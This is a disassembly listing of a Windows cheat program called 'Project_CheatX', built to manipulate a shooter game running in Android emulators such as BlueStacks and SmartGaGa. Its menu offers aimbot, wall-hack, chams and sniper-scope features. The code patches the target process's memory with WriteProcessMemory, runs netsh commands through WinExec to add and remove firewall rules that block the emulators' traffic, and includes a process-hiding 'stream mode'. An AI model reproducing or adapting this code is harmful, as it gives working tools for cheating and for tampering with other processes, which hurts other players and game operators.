mov qword [rbp + 0x4d0], r12
mov qword [rbp + 0x4e0], r12
mov qword [rbp + 0x4e8], reloc.WS2_32.dll_ntohs
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x1400526f0
mov rdx, rbx
lea rcx, [rbp + 0x4d0]
call fcn.1400421f0
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x550], r12
mov qword [rbp + 0x560], r12
mov qword [rbp + 0x568], reloc.WS2_32.dll_ntohs
nop dword [rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140052730
mov rdx, rdi
lea rcx, [rbp + 0x550]
call fcn.1400421f0
lea r9, [rbp + 0x510]
lea r8, [rbp + 0x4d0]
lea rdx, [rbp + 0x550]
lea rcx, [0x140258370]
call fcn.1400cd3f0
cmp byte [0x140258588], 0
je 0x14005278c
mov edx, 0x20001
lea rcx, str.C:WindowsTemp_b010mm.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
mov byte [0x140237066], r14b
call fcn.1400171b0
call fcn.14004e8f0
call fcn.140011ec0
movzx eax, byte [0x140237066]
mov rcx, qword [0x140237050]
movss xmm8, dword [0x140160f38]
movss xmm9, dword [0x140160edc]
cmp al, 1
jne 0x140053c00
movss xmm1, dword [0x140235df8]
xor edx, edx
movss xmm0, dword [0x140235dfc]
mov r8d, 0x202b
addss xmm1, dword [0x1402370a0]
mov qword [rcx + 0x47e0], 0
addss xmm0, xmm10
mov qword [rcx + 0x47e8], 0
mov dword [rcx + 0x47d4], r14d
or dword [rcx + 0x47d0], 3
movss dword [rcx + 0x47f0], xmm1
movss dword [rcx + 0x47f4], xmm0
mov dword [rcx + 0x47d8], r14d
lea rcx, str.CHEATX_PANEL
call fcn.14000f7b0
call fcn.14004e4a0
mov rbx, qword [0x140237050]
movss xmm7, dword [0x140235df8]
movss xmm6, dword [0x140235dfc]
cmp dword [rbx + 0x48c8], 0
mov rax, qword [rbx + 0x3ef8]
movsd xmm0, qword [rax + 0x20]
movsd qword [rbp + 0x18], xmm0
movsd qword [rbp + 0xf8], xmm0
jg 0x140052887
mov r8d, 0x70e
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48d0]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140008470
movss xmm1, dword [0x14026d634]
mov rbx, rax
movss xmm0, dword [0x14026d630]
mov rcx, qword [0x140237050]
movss dword [rbp + 0x284], xmm1
movss xmm1, dword [0x14026d63c]
movss dword [rbp + 0x280], xmm0
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x280]
movss xmm0, dword [0x14026d638]
movss dword [rbp + 0x288], xmm0
movss dword [rbp + 0x28c], xmm1
call fcn.1400048f0
movss xmm0, dword [0x1402370a0]
lea r8, [rbp + 0xf0]
addss xmm7, dword [rbp + 0x18]
addss xmm6, dword [rbp + 0x1c]
mov dword [rsp + 0x28], r12d
lea rdx, [rbp + 0x18]
mov r9d, eax
mov rcx, rbx
addss xmm0, xmm7
addss xmm6, xmm10
movss dword [rbp + 0xf0], xmm0
movss xmm0, dword [0x140160f34]
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0xf4], xmm6
call fcn.140025830
mov rbx, qword [0x140237050]
movss xmm7, dword [0x140235df8]
movss xmm6, dword [0x140235dfc]
cmp dword [rbx + 0x48c8], 0
jg 0x14005298b
mov r8d, 0x70e
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48d0]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140008470
movss xmm1, dword [0x14026d6f4]
mov rbx, rax
movss xmm0, dword [0x14026d6f0]
mov rcx, qword [0x140237050]
movss dword [rbp + 0x294], xmm1
movss xmm1, dword [0x14026d6fc]
movss dword [rbp + 0x290], xmm0
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x290]
movss xmm0, dword [0x14026d6f8]
movss dword [rbp + 0x298], xmm0
movss dword [rbp + 0x29c], xmm1
call fcn.1400048f0
movss xmm1, dword [rbp + 0xf8]
lea r8, [rbp + 0x100]
movss xmm0, dword [0x1402370a0]
addss xmm7, xmm1
movss xmm2, dword [rbp + 0xfc]
addss xmm1, xmm10
addss xmm6, xmm2
mov r9d, eax
addss xmm2, xmm10
mov rcx, rbx
lea rdx, [rbp + 0x108]
addss xmm0, xmm7
movss dword [rbp + 0x108], xmm1
addss xmm6, xmm10
movss dword [rbp + 0x10c], xmm2
movss dword [rbp + 0x100], xmm0
movss xmm0, dword [0x140160eb0]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x140160f34]
mov dword [rsp + 0x28], 0xf0
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x104], xmm6
call fcn.140025730
movss xmm1, dword [0x14026d6f4]
lea rcx, [rbp + 0x2a0]
movss xmm0, dword [0x14026d6f0]
mov rax, qword [0x140237050]
movss dword [rbp + 0x2a4], xmm1
movss xmm1, dword [0x14026d6fc]
movss dword [rbp + 0x2a0], xmm0
mulss xmm1, dword [rax + 0x37d0]
movss xmm0, dword [0x14026d6f8]
movss dword [rbp + 0x2a8], xmm0
movss dword [rbp + 0x2ac], xmm1
call fcn.1400048f0
mov edx, eax
xor ecx, ecx
call fcn.140004f90
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movss xmm0, dword [0x14026ce0c]
xorps xmm1, xmm1
mov eax, eax
addss xmm0, xmm8
cvtsi2ss xmm1, rax
comiss xmm1, xmm0
jbe 0x140052c0f
movzx ecx, byte [reloc.WS2_32.dll_accept]
movss xmm1, dword [0x14026ce08]
test cl, cl
je 0x140052b95
comiss xmm14, xmm1
jbe 0x140052b86
mov rax, qword [0x140237050]
test rax, rax
jne 0x140052b69
mov r8d, 0x1033
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movss xmm1, dword [0x14026ce08]
mov rax, qword [0x140237050]
movaps xmm0, xmm15
divss xmm0, dword [rax + 0xe0]
mulss xmm0, xmm13
addss xmm1, xmm0
movss dword [0x14026ce08], xmm1
comiss xmm1, xmm14
jb 0x140052c05
mov byte [reloc.WS2_32.dll_accept], 0
jmp 0x140052c05
comiss xmm1, xmm10
jbe 0x140052bf4
mov rax, qword [0x140237050]
test rax, rax
jne 0x140052bd7
mov r8d, 0x1033
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movzx ecx, byte [reloc.WS2_32.dll_accept]
movss xmm1, dword [0x14026ce08]
mov rax, qword [0x140237050]
movaps xmm0, xmm15
divss xmm0, dword [rax + 0xe0]
mulss xmm0, xmm13
subss xmm1, xmm0
movss dword [0x14026ce08], xmm1
comiss xmm10, xmm1
movzx eax, cl
cmovae eax, r14d
mov byte [reloc.WS2_32.dll_accept], al
mov dword [0x14026ce0c], 0
mov rcx, qword [rbp + 0x110]
call fcn.140012e20
movss xmm3, dword [0x140161028]
lea rcx, [rbp + 0x2b0]
movabs r15, 0xc55c1778462aff2b
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x60], r15
lea rdx, [rbp + 0x118]
mov rax, qword [rsp + 0x60]
movabs rdi, 0x17842e69ea80122c
mov qword [rbp + 0x2b0], rax
mov qword [rsp + 0x60], rdi
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x2b8], rax
mov qword [rsp + 0x60], r15
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x3b0], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x60], rdi
mov rax, qword [rsp + 0x60]
movdqa xmm0, xmmword [rbp + 0x2b0]
mov qword [rbp + 0x3b8], rax
mov rax, qword [0x140237050]
pxor xmm0, xmmword [rbp + 0x3b0]
movss dword [rsp + 0x20], xmm11
movdqa xmmword [rbp + 0x2b0], xmm0
movss xmm2, dword [rax + 0x3c20]
mov rcx, qword [rax + 0x3c18]
call fcn.14002d080
movss xmm0, dword [rbp + 0x118]
lea rcx, [rbp + 0x2c0]
addss xmm0, dword [0x140160e8c]
movss xmm6, dword [0x14026ce08]
movss dword [rbp + 0x2cc], xmm6
mov dword [rbp + 0x124], 0x42000000
mov dword [rbp + 0x2c0], 0x437f0000
cvttss2si eax, xmm0
mov dword [rbp + 0x2c4], 0x437f0000
mov dword [rbp + 0x2c8], 0x437f0000
movss xmm0, dword [0x140160ef0]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x118], xmm1
mulss xmm1, dword [0x140160e4c]
subss xmm0, xmm1
movss dword [rbp + 0x120], xmm0
call fcn.1400048f0
lea rcx, [rbp + 0x1d0]
movss dword [rbp + 0x1dc], xmm6
mov ebx, eax
mov dword [rbp + 0x1d0], 0x437f0000
mov dword [rbp + 0x1d4], 0x437f0000
mov dword [rbp + 0x1d8], 0x437f0000
call fcn.1400048f0
movss xmm3, dword [0x140160f98]
mov edx, eax
movabs rax, 0x957c4f2c076fb768
mov r8d, ebx
mov qword [rsp + 0x60], rax
movabs rax, 0x17842e69a6c55c6d
mov rcx, qword [rsp + 0x60]
mov qword [rbp + 0x1e0], rcx
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
mov qword [rbp + 0x1e8], rcx
mov qword [rsp + 0x60], r15
mov rcx, qword [rsp + 0x60]
mov qword [rbp + 0x3c0], rcx
lea rcx, [rbp + 0x1e0]
mov qword [rsp + 0x60], rdi
mov rax, qword [rsp + 0x60]
movdqa xmm0, xmmword [rbp + 0x1e0]
mov qword [rbp + 0x3c8], rax
lea rax, [rbp + 0x120]
pxor xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x1e0], xmm0
mov qword [rsp + 0x20], rax
call fcn.140036f50
call fcn.140012ec0
mov rcx, qword [0x140237050]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
lea r8, [rbp + 0x178]
mov rax, qword [rcx + 0x3ef8]
lea rdx, [0x140160274]
mov dword [rbp + 0x17c], 0x42700000
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
mov byte [rax + 0x141], 1
addss xmm1, dword [0x140161004]
addss xmm0, xmm8
movss dword [rax + 0x104], xmm1
movss xmm1, dword [0x140235df8]
addss xmm1, dword [0x140161000]
movss dword [rax + 0x100], xmm0
movss xmm0, dword [r13 + 0x4c]
mulss xmm0, xmm9
subss xmm1, xmm0
mulss xmm1, dword [0x140160e60]
movss dword [rbp + 0x178], xmm1
call fcn.14000c710
mov rcx, qword [0x140237088]
call fcn.140012e20
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
lea rdx, [0x140235d78]
lea rcx, [0x14026d6f0]
cmovae rdx, qword [0x140235d78]
call fcn.140034000
call fcn.140012ec0
call fcn.14000c820
mov ecx, r14d
call fcn.140005060
mov rcx, qword [0x140237050]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
mov ebx, dword [0x14026d160]
mov edx, dword [0x14026d494]
movss xmm1, dword [rax + 0x24]
movss xmm0, dword [rax + 0x20]
subss xmm1, dword [rax + 0x88]
subss xmm0, dword [rax + 0x84]
mov byte [rax + 0x141], 1
addss xmm1, dword [0x140160f78]
addss xmm0, dword [0x140160f8c]
movss dword [rax + 0x104], xmm1
movss dword [rax + 0x100], xmm0
cmp ebx, edx
jne 0x140052f78
movaps xmm7, xmm12
jmp 0x140052f7c
movaps xmm7, xmm11
test rcx, rcx
jne 0x140052fa7
mov r8d, 0x1033
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov edx, dword [0x14026d494]
mov ebx, dword [0x14026d160]
mov rax, qword [0x140237050]
movss xmm6, dword [rax + 0x18]
movaps xmm0, xmm6
mulss xmm0, xmm9
mulss xmm0, xmm7
addss xmm0, dword [0x14026d490]
comiss xmm10, xmm0
jbe 0x140052fd3
movaps xmm7, xmm10
jmp 0x140052fdb
movaps xmm7, xmm12
minss xmm7, xmm0
movss dword [0x14026d490], xmm7
cmp ebx, edx
jne 0x140052fed
movaps xmm8, xmm12
jmp 0x140052ff1
movaps xmm8, xmm11
movss xmm0, dword [0x140160f94]
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
mulss xmm6, xmm0
mulss xmm6, xmm8
addss xmm6, dword [0x14026dc50]
comiss xmm10, xmm6
jbe 0x14005301b
movaps xmm0, xmm10
jmp 0x140053023
movaps xmm0, xmm12
minss xmm0, xmm6
ucomiss xmm7, xmm10
movss dword [0x14026dc50], xmm0
jp 0x140053041
jne 0x140053041
ucomiss xmm0, xmm10
jp 0x140053041
jne 0x140053041
mov dword [0x14026d494], ebx
mulss xmm7, dword [r13]
xor ecx, ecx
movaps xmm1, xmm7
call fcn.140005140
cmp dword [0x14026d160], 0
jne 0x1400538b2
movss xmm3, dword [r13 + 0x4c]
movss xmm2, dword [r13 + 0x50]
addss xmm3, xmm3
mov rcx, qword [0x140237050]
addss xmm2, xmm2
movss xmm0, dword [0x1402370a0]
subss xmm0, dword [0x140160fc0]
mov rax, qword [rcx + 0x3ef8]
addss xmm2, dword [0x140160f84]
addss xmm3, xmm0
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
movss xmm1, dword [rax + 0x24]
movss xmm0, dword [rax + 0x20]
subss xmm1, dword [rax + 0x88]
subss xmm0, dword [rax + 0x84]
mov byte [rax + 0x141], 1
addss xmm1, xmm2
addss xmm3, xmm0
movss dword [rax + 0x104], xmm1
movss dword [rax + 0x100], xmm3
call fcn.140017060
lea r8, [rbp + 0x130]
mov dword [rbp + 0x130], 0x43a50000
lea rdx, reloc.WLDAP32.dll_Ordinal_32
mov dword [rbp + 0x134], 0x43e60000
call fcn.14000c710
mov r8b, 1
lea rdx, [0x14026ce20]
lea rcx, str.Aimbot_External_80____In_Game
call fcn.140032c70
mov ecx, dword [0x14026ce20]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400531c5
mov ecx, 8
call fcn.14011faac
lea rcx, [0x14004f370]
mov r9, rax
lea r8, [0x140054d80]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x198]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x190], rax
test rax, rax
je 0x140053f50
cmp dword [rbp + 0x198], 0
je 0x140053f46
movaps xmm0, xmmword [rbp + 0x190]
lea rcx, [rbp + 0x640]
movdqa xmmword [rbp + 0x640], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140053f3d
xorps xmm0, xmm0
movaps xmmword [rbp + 0x9b0], xmm0
movdqa xmmword [rbp + 0x190], xmm0
lea rdx, [0x14023707d]
lea rcx, str.Sniper_Aim_Scope___In_Game
call fcn.140035c00
test al, al
je 0x140053279
cmp byte [0x14023707d], 1
jne 0x140053279
mov ecx, 8
call fcn.14011faac
lea rcx, [0x14004f880]
mov r9, rax
lea r8, [0x140054d80]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x1a8]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1a0], rax
test rax, rax
je 0x140053f76
cmp dword [rbp + 0x1a8], 0
je 0x140053f6c
movaps xmm0, xmmword [rbp + 0x1a0]
lea rcx, [rbp + 0x650]
movdqa xmmword [rbp + 0x650], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140053f63
xorps xmm0, xmm0
movaps xmmword [rbp + 0x9a0], xmm0
movdqa xmmword [rbp + 0x1a0], xmm0
lea rdx, [0x1402370a6]
lea rcx, str.Sniper_Fast_Switch___In_Game
call fcn.140035c00
test al, al
je 0x14005332d
cmp byte [0x1402370a6], 1
jne 0x14005332d
mov ecx, 8
call fcn.14011faac
lea rcx, [0x14004fb80]
mov r9, rax
lea r8, [0x140054d80]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x1b8]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1b0], rax
test rax, rax
je 0x140053f9c
cmp dword [rbp + 0x1b8], 0
je 0x140053f92
movaps xmm0, xmmword [rbp + 0x1b0]
lea rcx, [rbp + 0x660]
movdqa xmmword [rbp + 0x660], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140053f89
xorps xmm0, xmm0
movaps xmmword [rbp + 0x980], xmm0
movdqa xmmword [rbp + 0x1b0], xmm0
lea rdx, [0x140237078]
lea rcx, str.Chams_Menu___In_Emulator
call fcn.140035c00
test al, al
je 0x1400533e1
cmp byte [0x140237078], 1
jne 0x1400533e1
mov ecx, 8
call fcn.14011faac
lea rcx, [0x14004ff20]
mov r9, rax
lea r8, [0x140054d80]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x1c8]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1c0], rax
test rax, rax
je 0x140053fc2
cmp dword [rbp + 0x1c8], 0
je 0x140053fb8
movaps xmm0, xmmword [rbp + 0x1c0]
lea rcx, [rbp + 0x670]
movdqa xmmword [rbp + 0x670], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140053faf
xorps xmm0, xmm0
movaps xmmword [rbp + 0x970], xmm0
movdqa xmmword [rbp + 0x1c0], xmm0
lea rdx, [0x140237065]
lea rcx, str.Bypass_Wall_Hack___In_Lobby
call fcn.140035c00
test al, al
je 0x140053495
cmp byte [0x140237065], 1
jne 0x140053495
mov ecx, 8
call fcn.14011faac
lea rcx, [0x14004f580]
mov r9, rax
lea r8, [0x140054d80]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x148]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x140], rax
test rax, rax
je 0x140053fe8
cmp dword [rbp + 0x148], 0
je 0x140053fde
movaps xmm0, xmmword [rbp + 0x140]
lea rcx, [rbp + 0x680]
movdqa xmmword [rbp + 0x680], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140053fd5
xorps xmm0, xmm0
movaps xmmword [rbp + 0x960], xmm0
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [0x14023704b]
lea rcx, str.Wall_Hack___In_Game
call fcn.140035c00
test al, al
je 0x140053549
cmp byte [0x14023704b], 1
jne 0x140053549
mov ecx, 8
call fcn.14011faac
lea rcx, [0x14004fe90]
mov r9, rax
lea r8, [0x140054d80]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x158]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x150], rax
test rax, rax
je 0x14005400e
cmp dword [rbp + 0x158], 0
je 0x140054004
movaps xmm0, xmmword [rbp + 0x150]
lea rcx, [rbp + 0x690]
movdqa xmmword [rbp + 0x690], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140053ffb
xorps xmm0, xmm0
movaps xmmword [rbp + 0x950], xmm0
movdqa xmmword [rbp + 0x150], xmm0
lea rax, [0x140151ca4]
mov qword [rbp + 0x5b0], rax
lea r9, [rbp + 0x5b0]
lea rax, [0x140151810]
mov qword [rbp + 0x5b8], rax
lea rax, [0x140151814]
mov qword [rbp + 0x5c0], rax
lea rax, [0x140151818]
mov qword [rbp + 0x5c8], rax
lea rax, [0x14015189c]
mov qword [rbp + 0x5d0], rax
lea rax, [0x1401518a0]
mov qword [rbp + 0x5d8], rax
lea rax, [0x1401518a4]
mov qword [rbp + 0x5e0], rax
lea rax, [0x1401518a8]
mov qword [rbp + 0x5e8], rax
lea rax, [0x140151874]
mov qword [rbp + 0x5f0], rax
lea rax, [0x140151844]
mov qword [rbp + 0x5f8], rax
call fcn.1400380a0
cmp byte [0x1402370aa], 0
je 0x140053715
cmp byte [0x1402370a8], 0
jne 0x14005383a
mov rax, qword [0x140258280]
mov edi, r12d
mov rdx, qword [0x140258278]
sub rax, rdx
mov byte [0x1402370a8], 1
sar rax, 3
mov byte [0x1402370a9], 1
mov dword [rsp + 0x68], 0xa0a10e5
mov dword [rsp + 0x6c], 0x8a1030ee
mov dword [rsp + 0x70], 0x17e5
mov dword [rsp + 0x74], 0x800000ea
mov qword [rsp + 0x78], 0x3f
mov dword [rbp - 0x80], 0
mov dword [rbp - 0x7c], 0x8147ae00
mov dword [rbp - 0x78], 0x8147ae3f
mov dword [rbp - 0x74], 0x8147ae3f
mov dword [rbp - 0x70], 0x8147ae3f
mov dword [rbp - 0x6c], 0xb71a003f
mov dword [rbp - 0x68], 0x9f3adcee
mov byte [rbp - 0x64], 0xed
test rax, rax
je 0x1400536f2
mov rbx, r12
nop word [rax + rax]
mov rax, qword [0x1402370c8]
mov rsi, qword [rdx + rbx]
test rax, rax
jne 0x1400536b3
lea ecx, [rax + 0x10]
call fcn.14011faac
mov qword [0x1402370c8], rax
mov dword [rax + 8], r12d
mov rcx, qword [rax]
lea r8, [rsp + 0x68]
mov r9d, gethostname
mov qword [rsp + 0x20], r12
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x140258280]
inc edi
mov rdx, qword [0x140258278]
add rbx, 8
sub rcx, rdx
movsxd rax, edi
sar rcx, 3
cmp rax, rcx
jb 0x140053690
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Wall_Hack_:_OFF
lea rcx, [0x140235d78]
call fcn.1400421f0
mov ecx, 0x320
jmp 0x14005382f
cmp byte [0x1402370a9], 0
mov byte [0x1402370a8], 0
je 0x14005383a
mov rax, qword [0x140258280]
mov edi, r12d
mov rdx, qword [0x140258278]
sub rax, rdx
mov byte [0x1402370a9], 0
sar rax, 3
mov dword [rbp - 0x60], 0xa0a10e5
mov dword [rbp - 0x5c], 0x8a1030ee
mov dword [rbp - 0x58], 0x17e5
mov dword [rbp - 0x54], 0x800000ea
mov qword [rbp - 0x50], 0x3f
mov dword [rbp - 0x48], 0
mov dword [rbp - 0x44], 0xef000000
mov dword [rbp - 0x40], 0x8147aec1
mov dword [rbp - 0x3c], 0x8147ae3f
mov dword [rbp - 0x38], 0x8147ae3f
mov dword [rbp - 0x34], 0xb71a003f
mov dword [rbp - 0x30], 0x9f3adcee
mov byte [rbp - 0x2c], 0xed
test rax, rax
je 0x140053811
mov rbx, r12
nop dword [rax]
mov rax, qword [0x1402370c8]
mov rsi, qword [rdx + rbx]
test rax, rax
jne 0x1400537d3
lea ecx, [rax + 0x10]
call fcn.14011faac
mov qword [0x1402370c8], rax
mov dword [rax + 8], r12d
mov rcx, qword [rax]
lea r8, [rbp - 0x60]
mov r9d, gethostname
mov qword [rsp + 0x20], r12
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x140258280]
inc edi
mov rdx, qword [0x140258278]
add rbx, 8
sub rcx, rdx
movsxd rax, edi
sar rcx, 3
cmp rax, rcx
jb 0x1400537b0
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, str.Wall_Hack_:_ON
lea rcx, [0x140235d78]
call fcn.1400421f0
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
lea rdx, [0x14023704a]
lea rcx, str.Block_Internet____In_Login
call fcn.140035c00
mov r8b, 1
mov byte [0x1402370a5], al
lea rdx, [0x140237090]
lea rcx, str.Stream_Mode__Hide_Process
call fcn.140032c70
mov r8d, 0x200012a
lea rdx, [0x14026d6f0]
lea rcx, str.General_Color_Change
call fcn.14003eb90
mov r8d, 0x200012a
lea rdx, [0x14026d530]
lea rcx, str.Particle_Color_Change
call fcn.14003eb90
call fcn.14000c820
call fcn.1400171b0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.140016ce0
lea rcx, [rbp + 0x570]
call fcn.14004f050
cmp byte [0x1402370a5], 0
je 0x140053a2f
xor edx, edx
cmp byte [0x14023704a], dl
je 0x1400539ac
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
mov edx, 0x20001
lea rcx, str.C:WindowsTemp_vws3xm.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.Internet_:_Disabled__
jmp 0x140053a23
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
mov edx, 0x20001
lea rcx, str.C:WindowsTemp_vws3xm.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
